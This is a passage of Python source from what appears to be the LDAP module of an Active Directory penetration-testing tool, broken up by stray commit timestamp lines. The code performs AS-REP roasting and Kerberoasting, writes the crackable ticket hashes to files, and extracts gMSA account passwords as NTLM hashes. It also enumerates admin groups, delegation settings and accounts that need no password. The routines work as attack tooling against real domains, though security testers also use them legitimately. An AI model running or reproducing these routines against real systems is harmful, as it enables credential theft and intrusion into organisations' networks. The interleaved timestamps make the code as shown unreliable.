errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
2020-06-30 20:49:01 +00:00
self . username ,
2022-02-07 21:19:46 +00:00
nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
color = ' magenta ' if errorCode in ldap_error_status else ' red ' )
2020-06-30 20:49:01 +00:00
else :
2021-07-02 08:50:41 +00:00
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
self . username ,
2022-02-07 21:19:46 +00:00
nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
color = ' magenta ' if errorCode in ldap_error_status else ' red ' )
2020-06-22 10:25:32 +00:00
return False
2021-01-21 08:54:26 +00:00
except OSError as e :
2021-09-18 21:02:01 +00:00
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
2021-01-21 08:54:26 +00:00
self . username ,
2022-02-07 21:19:46 +00:00
nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2022-09-18 11:04:14 +00:00
" Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller or add the IP/HOST to your /etc/host file " ) )
2021-01-21 08:54:26 +00:00
return False
2020-06-22 10:25:32 +00:00
2020-06-19 13:20:22 +00:00
def create_smbv1_conn ( self ) :
try :
self . conn = SMBConnection ( self . host , self . host , None , 445 , preferredDialect = SMB_DIALECT )
self . smbv1 = True
except socket . error as e :
if str ( e ) . find ( ' Connection reset by peer ' ) != - 1 :
logging . debug ( ' SMBv1 might be disabled on {} ' . format ( self . host ) )
return False
except Exception as e :
logging . debug ( ' Error creating SMBv1 connection to {} : {} ' . format ( self . host , e ) )
return False
return True
2020-06-19 21:31:34 +00:00
def create_smbv3_conn ( self ) :
try :
self . conn = SMBConnection ( self . host , self . host , None , 445 )
self . smbv1 = False
except socket . error :
return False
except Exception as e :
logging . debug ( ' Error creating SMBv3 connection to {} : {} ' . format ( self . host , e ) )
return False
return True
def create_conn_obj ( self ) :
2022-03-06 15:59:31 +00:00
if not self . args . no_smb :
if self . create_smbv1_conn ( ) :
return True
elif self . create_smbv3_conn ( ) :
return True
return False
else :
2020-06-19 21:31:34 +00:00
return True
2021-07-02 08:50:41 +00:00
def sid_to_str ( self , sid ) :
try :
# revision
revision = int ( sid [ 0 ] )
# count of sub authorities
sub_authorities = int ( sid [ 1 ] )
# big endian
identifier_authority = int . from_bytes ( sid [ 2 : 8 ] , byteorder = ' big ' )
# If true then it is represented in hex
if identifier_authority > = 2 * * 32 :
identifier_authority = hex ( identifier_authority )
# loop over the count of small endians
sub_authority = ' - ' + ' - ' . join ( [ str ( int . from_bytes ( sid [ 8 + ( i * 4 ) : 12 + ( i * 4 ) ] , byteorder = ' little ' ) ) for i in range ( sub_authorities ) ] )
objectSid = ' S- ' + str ( revision ) + ' - ' + str ( identifier_authority ) + sub_authority
return objectSid
except Exception :
pass
return sid
def check_if_admin ( self ) :
# 1. get SID of the domaine
sid_domaine = " "
searchFilter = " (userAccountControl:1.2.840.113556.1.4.803:=8192) "
attributes = [ " objectSid " ]
resp = self . search ( searchFilter , attributes , sizeLimit = 0 )
answers = [ ]
for attribute in resp [ 0 ] [ 1 ] :
if str ( attribute [ ' type ' ] ) == ' objectSid ' :
sid = self . sid_to_str ( attribute [ ' vals ' ] [ 0 ] )
sid_domaine = ' - ' . join ( sid . split ( ' - ' ) [ : - 1 ] )
# 2. get all group cn name
searchFilter = " (|(objectSid= " + sid_domaine + " -512)(objectSid= " + sid_domaine + " -544)(objectSid= " + sid_domaine + " -519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551)) "
attributes = [ " distinguishedName " ]
resp = self . search ( searchFilter , attributes , sizeLimit = 0 )
answers = [ ]
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' distinguishedName ' :
answers . append ( str ( " (memberOf:1.2.840.113556.1.4.1941:= " + attribute [ ' vals ' ] [ 0 ] + " ) " ) )
# 3. get memeber of these groups
searchFilter = " (&(objectCategory=user)(sAMAccountName= " + self . username + " )(| " + ' ' . join ( answers ) + " )) "
attributes = [ " " ]
resp = self . search ( searchFilter , attributes , sizeLimit = 0 )
answers = [ ]
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
if item :
self . admin_privs = True
2020-06-19 21:31:34 +00:00
def getUnixTime ( self , t ) :
t - = 116444736000000000
t / = 10000000
return t
2021-06-24 18:37:54 +00:00
def search ( self , searchFilter , attributes , sizeLimit = 0 ) :
2021-01-21 14:45:55 +00:00
try :
logging . debug ( ' Search Filter= %s ' % searchFilter )
resp = self . ldapConnection . search ( searchFilter = searchFilter ,
2021-01-29 23:25:39 +00:00
attributes = attributes ,
sizeLimit = sizeLimit )
2021-01-21 14:45:55 +00:00
except ldap_impacket . LDAPSearchError as e :
if e . getErrorString ( ) . find ( ' sizeLimitExceeded ' ) > = 0 :
2021-07-02 08:50:41 +00:00
self . logger . error ( ' sizeLimitExceeded exception caught, giving up and processing the data received ' )
2021-01-21 14:45:55 +00:00
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e . getAnswers ( )
pass
else :
2021-07-02 08:50:41 +00:00
self . logger . error ( e )
2021-01-21 14:45:55 +00:00
return False
2021-01-29 23:25:39 +00:00
return resp
def users ( self ) :
# Building the search filter
searchFilter = " (sAMAccountType=805306368) "
2021-10-16 15:41:04 +00:00
attributes = [ ' sAMAccountName ' , ' description ' , ' badPasswordTime ' , ' badPwdCount ' , ' pwdLastSet ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , sizeLimit = 0 )
if resp :
answers = [ ]
self . logger . info ( ' Total of records returned %d ' % len ( resp ) )
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
sAMAccountName = ' '
badPasswordTime = ' '
badPwdCount = 0
2021-10-16 15:41:04 +00:00
description = ' '
pwdLastSet = ' '
2021-06-24 18:37:54 +00:00
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
2021-10-16 15:41:04 +00:00
elif str ( attribute [ ' type ' ] ) == ' description ' :
description = str ( attribute [ ' vals ' ] [ 0 ] )
self . logger . highlight ( ' {:<30} {} ' . format ( sAMAccountName , description ) )
2021-06-24 18:37:54 +00:00
except Exception as e :
self . logger . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
return
2021-01-21 14:45:55 +00:00
def groups ( self ) :
# Building the search filter
searchFilter = " (objectCategory=group) "
2021-10-16 15:41:04 +00:00
attributes = [ ' name ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
if resp :
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( resp ) )
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
name = ' '
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' name ' :
name = str ( attribute [ ' vals ' ] [ 0 ] )
2021-10-16 15:41:04 +00:00
self . logger . highlight ( ' {} ' . format ( name ) )
2021-06-24 18:37:54 +00:00
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
return
2021-01-21 14:45:55 +00:00
2020-06-19 21:31:34 +00:00
def asreproast ( self ) :
2020-06-30 20:49:01 +00:00
if self . password == ' ' and self . nthash == ' ' and self . kerberos == False :
2020-06-19 21:31:34 +00:00
return False
2020-06-19 13:20:22 +00:00
# Building the search filter
searchFilter = " (&(UserAccountControl:1.2.840.113556.1.4.803:= %d ) " \
" (!(UserAccountControl:1.2.840.113556.1.4.803:= %d ))(!(objectCategory=computer))) " % \
( UF_DONT_REQUIRE_PREAUTH , UF_ACCOUNTDISABLE )
2021-01-29 23:25:39 +00:00
attributes = [ ' sAMAccountName ' , ' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
2022-09-21 13:08:31 +00:00
if resp == [ ] :
self . logger . highlight ( " No entries found! " )
elif resp :
2021-06-24 18:37:54 +00:00
answers = [ ]
2021-07-02 08:50:41 +00:00
self . logger . info ( ' Total of records returned %d ' % len ( resp ) )
2021-06-24 18:37:54 +00:00
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
pwdLastSet = ' '
userAccountControl = 0
lastLogon = ' N/A '
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
userAccountControl = " 0x %x " % int ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
if mustCommit is True :
answers . append ( [ sAMAccountName , memberOf , pwdLastSet , lastLogon , userAccountControl ] )
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
for user in answers :
hash_TGT = KerberosAttacks ( self ) . getTGT_asroast ( user [ 0 ] )
self . logger . highlight ( u ' {} ' . format ( hash_TGT ) )
with open ( self . args . asreproast , ' a+ ' ) as hash_asreproast :
hash_asreproast . write ( hash_TGT + ' \n ' )
return True
else :
self . logger . highlight ( " No entries found! " )
return
2022-09-21 13:08:31 +00:00
else :
self . logger . error ( " Error with the LDAP account used " )
2020-06-19 13:20:22 +00:00
2020-06-19 21:31:34 +00:00
def kerberoasting ( self ) :
2020-06-19 13:20:22 +00:00
# Building the search filter
searchFilter = " (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512) " \
" (!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))) "
2021-01-29 23:25:39 +00:00
attributes = [ ' servicePrincipalName ' , ' sAMAccountName ' , ' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
2022-09-21 13:08:31 +00:00
if resp == [ ] :
self . logger . highlight ( " No entries found! " )
elif resp :
2021-06-24 18:37:54 +00:00
answers = [ ]
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
SPNs = [ ]
pwdLastSet = ' '
userAccountControl = 0
lastLogon = ' N/A '
delegation = ' '
2020-06-19 13:20:22 +00:00
try :
2021-06-24 18:37:54 +00:00
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
userAccountControl = str ( attribute [ ' vals ' ] [ 0 ] )
if int ( userAccountControl ) & UF_TRUSTED_FOR_DELEGATION :
delegation = ' unconstrained '
elif int ( userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION :
delegation = ' constrained '
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' servicePrincipalName ' :
for spn in attribute [ ' vals ' ] :
SPNs . append ( str ( spn ) )
if mustCommit is True :
if int ( userAccountControl ) & UF_ACCOUNTDISABLE :
logging . debug ( ' Bypassing disabled account %s ' % sAMAccountName )
else :
for spn in SPNs :
answers . append ( [ spn , sAMAccountName , memberOf , pwdLastSet , lastLogon , delegation ] )
2020-06-19 13:20:22 +00:00
except Exception as e :
2021-06-24 18:37:54 +00:00
logging . error ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
2022-10-22 20:38:29 +00:00
self . logger . info ( ' Total of records returned %d ' % len ( answers ) )
2021-06-24 18:37:54 +00:00
TGT = KerberosAttacks ( self ) . getTGT_kerberoasting ( )
2022-07-06 13:34:07 +00:00
dejavue = [ ]
2021-06-24 18:37:54 +00:00
for SPN , sAMAccountName , memberOf , pwdLastSet , lastLogon , delegation in answers :
2022-07-06 13:34:07 +00:00
if sAMAccountName not in dejavue :
2022-09-21 13:08:31 +00:00
downLevelLogonName = self . targetDomain + " \\ " + sAMAccountName
2022-07-06 13:34:07 +00:00
try :
2022-09-21 13:08:31 +00:00
principalName = Principal ( )
principalName . type = constants . PrincipalNameType . NT_MS_PRINCIPAL . value
principalName . components = [ downLevelLogonName ]
tgs , cipher , oldSessionKey , sessionKey = getKerberosTGS ( principalName , self . domain ,
2022-07-06 13:34:07 +00:00
self . kdcHost ,
TGT [ ' KDC_REP ' ] , TGT [ ' cipher ' ] ,
TGT [ ' sessionKey ' ] )
2022-09-21 13:08:31 +00:00
r = KerberosAttacks ( self ) . outputTGS ( tgs , oldSessionKey , sessionKey , sAMAccountName , self . targetDomain + " / " + sAMAccountName )
2022-07-06 13:34:07 +00:00
self . logger . highlight ( u ' sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon: {} ' . format ( sAMAccountName , memberOf , pwdLastSet , lastLogon ) )
self . logger . highlight ( u ' {} ' . format ( r ) )
with open ( self . args . kerberoasting , ' a+ ' ) as hash_kerberoasting :
hash_kerberoasting . write ( r + ' \n ' )
dejavue . append ( sAMAccountName )
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
2022-09-21 13:08:31 +00:00
logging . error ( ' Principal: %s - %s ' % ( downLevelLogonName , str ( e ) ) )
2022-07-06 13:34:07 +00:00
return True
2021-06-24 18:37:54 +00:00
else :
self . logger . highlight ( " No entries found! " )
return
self . logger . error ( " Error with the LDAP account used " )
2020-06-19 13:20:22 +00:00
2020-06-20 09:56:55 +00:00
def trusted_for_delegation ( self ) :
2020-06-19 21:31:34 +00:00
# Building the search filter
searchFilter = " (userAccountControl:1.2.840.113556.1.4.803:=524288) "
2021-01-29 23:25:39 +00:00
attributes = [ ' sAMAccountName ' , ' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
2021-01-29 23:25:39 +00:00
2020-06-19 21:31:34 +00:00
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( resp ) )
2020-06-19 13:20:22 +00:00
2020-06-19 21:31:34 +00:00
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
pwdLastSet = ' '
userAccountControl = 0
lastLogon = ' N/A '
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
userAccountControl = " 0x %x " % int ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
if mustCommit is True :
answers . append ( [ sAMAccountName , memberOf , pwdLastSet , lastLogon , userAccountControl ] )
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
logging . debug ( answers )
for value in answers :
self . logger . highlight ( value [ 0 ] )
2020-06-19 13:20:22 +00:00
else :
2020-06-19 21:31:34 +00:00
self . logger . error ( " No entries found! " )
return
2021-01-23 11:21:33 +00:00
def password_not_required ( self ) :
# Building the search filter
searchFilter = " (userAccountControl:1.2.840.113556.1.4.803:=32) "
try :
logging . debug ( ' Search Filter= %s ' % searchFilter )
resp = self . ldapConnection . search ( searchFilter = searchFilter ,
attributes = [ ' sAMAccountName ' ,
' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ] ,
2021-06-24 18:37:54 +00:00
sizeLimit = 0 )
2021-01-23 11:21:33 +00:00
except ldap_impacket . LDAPSearchError as e :
if e . getErrorString ( ) . find ( ' sizeLimitExceeded ' ) > = 0 :
logging . debug ( ' sizeLimitExceeded exception caught, giving up and processing the data received ' )
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e . getAnswers ( )
pass
else :
return False
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( resp ) )
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
pwdLastSet = ' '
userAccountControl = 0
status = ' enabled '
lastLogon = ' N/A '
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
if int ( attribute [ ' vals ' ] [ 0 ] ) & 2 :
status = ' disabled '
userAccountControl = " 0x %x " % int ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
if mustCommit is True :
answers . append ( [ sAMAccountName , memberOf , pwdLastSet , lastLogon , userAccountControl , status ] )
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
logging . debug ( answers )
for value in answers :
self . logger . highlight ( " User: " + value [ 0 ] + " Status: " + value [ 5 ] )
else :
self . logger . error ( " No entries found! " )
return
2020-06-19 13:20:22 +00:00
2020-06-19 21:31:34 +00:00
def admin_count ( self ) :
# Building the search filter
searchFilter = " (adminCount=1) "
2021-01-29 23:25:39 +00:00
attributes = [ ' sAMAccountName ' , ' pwdLastSet ' , ' MemberOf ' , ' userAccountControl ' , ' lastLogon ' ]
2021-06-24 18:37:54 +00:00
resp = self . search ( searchFilter , attributes , 0 )
2020-06-19 21:31:34 +00:00
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( resp ) )
2020-06-19 13:20:22 +00:00
2020-06-19 21:31:34 +00:00
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
mustCommit = False
sAMAccountName = ' '
memberOf = ' '
pwdLastSet = ' '
userAccountControl = 0
lastLogon = ' N/A '
2020-06-19 13:20:22 +00:00
try :
2020-06-19 21:31:34 +00:00
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
mustCommit = True
elif str ( attribute [ ' type ' ] ) == ' userAccountControl ' :
userAccountControl = " 0x %x " % int ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' memberOf ' :
memberOf = str ( attribute [ ' vals ' ] [ 0 ] )
elif str ( attribute [ ' type ' ] ) == ' pwdLastSet ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
pwdLastSet = ' <never> '
else :
pwdLastSet = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
elif str ( attribute [ ' type ' ] ) == ' lastLogon ' :
if str ( attribute [ ' vals ' ] [ 0 ] ) == ' 0 ' :
lastLogon = ' <never> '
else :
lastLogon = str ( datetime . fromtimestamp ( self . getUnixTime ( int ( str ( attribute [ ' vals ' ] [ 0 ] ) ) ) ) )
if mustCommit is True :
answers . append ( [ sAMAccountName , memberOf , pwdLastSet , lastLogon , userAccountControl ] )
2020-06-19 13:20:22 +00:00
except Exception as e :
2020-06-19 21:31:34 +00:00
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
pass
if len ( answers ) > 0 :
logging . debug ( answers )
for value in answers :
self . logger . highlight ( value [ 0 ] )
2020-06-19 13:20:22 +00:00
else :
2020-06-19 21:31:34 +00:00
self . logger . error ( " No entries found! " )
2022-10-14 17:13:17 +00:00
return
2022-09-19 10:02:58 +00:00
2022-10-14 17:13:17 +00:00
def gmsa ( self ) :
self . logger . info ( " Getting GMSA Passwords " )
2022-10-19 09:48:22 +00:00
search_filter = ' (objectClass=msDS-GroupManagedServiceAccount) '
gmsa_accounts = self . ldapConnection . search ( searchFilter = search_filter ,
attributes = [ ' sAMAccountName ' , ' msDS-ManagedPassword ' , ' msDS-GroupMSAMembership ' ] ,
sizeLimit = 0 ,
searchBase = self . baseDN )
if gmsa_accounts :
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( gmsa_accounts ) )
2022-09-21 13:08:31 +00:00
2022-10-19 09:48:22 +00:00
for item in gmsa_accounts :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
sAMAccountName = ' '
managedPassword = ' '
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
if str ( attribute [ ' type ' ] ) == ' msDS-ManagedPassword ' :
data = attribute [ ' vals ' ] [ 0 ] . asOctets ( )
2022-10-14 17:13:17 +00:00
blob = MSDS_MANAGEDPASSWORD_BLOB ( )
blob . fromString ( data )
currentPassword = blob [ ' CurrentPassword ' ] [ : - 2 ]
ntlm_hash = MD4 . new ( )
ntlm_hash . update ( currentPassword )
passwd = hexlify ( ntlm_hash . digest ( ) ) . decode ( " utf-8 " )
2022-10-19 09:48:22 +00:00
self . logger . highlight ( " Account: {:<20} NTLM: {} " . format ( sAMAccountName , passwd ) )
2022-10-14 17:17:04 +00:00
return True